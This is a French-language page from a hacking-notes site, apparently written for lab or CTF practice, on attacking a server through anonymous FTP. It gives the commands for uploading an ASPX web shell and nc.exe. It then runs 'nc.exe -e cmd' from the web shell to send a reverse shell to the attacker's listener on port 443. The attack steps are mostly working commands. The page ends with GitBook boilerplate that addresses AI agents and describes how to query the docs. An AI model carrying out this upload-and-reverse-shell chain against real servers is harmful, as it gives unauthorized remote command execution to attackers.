> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md).

# FTP - Attaque de reverse shell et de web shell

## **Shell inversé via un envoi FTP**

### **Téléchargez un web shell ASPX**

Utilisez un web shell existant, **`cmd.aspx`**, depuis SecLists :

```bash
locate cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Téléchargez-le sur le serveur FTP :

```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```

Accédez au web shell via le serveur HTTP et exécutez des commandes, par exemple :

```bash
ipconfig
```

<figure><img src="/files/54e6b82fe6607a4d97857ad4354b1e91cb9846c4" alt=""><figcaption></figcaption></figure>

### **Téléversez le `nc.exe` binaire pour un shell inversé**

Télécharger **`nc.exe`** depuis SecLists :

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Téléchargez-le sur le serveur FTP :

```bash
ftp 10.10.10.5
anonymous
put nc.exe
```

Depuis le web shell, localisez **`nc.exe`** sur le serveur cible :

```powershell
dir /s C:/nc.exe
```

### **Configurez le shell inversé**

<figure><img src="/files/4adf8f760c904d9fc79f7c88cfa0df0962e8240b" alt=""><figcaption></figcaption></figure>

**Écoutez sur le port 443 :**

Configurez un `nc` écouteur sur le port 443 :

```bash
rlwrap nc -nvlp 443
```

Depuis la machine cible, exécutez la commande suivante via le web shell :

```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```

<figure><img src="/files/1e0db4b54beda8bec574cac4dd90d11b4e2a8568" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
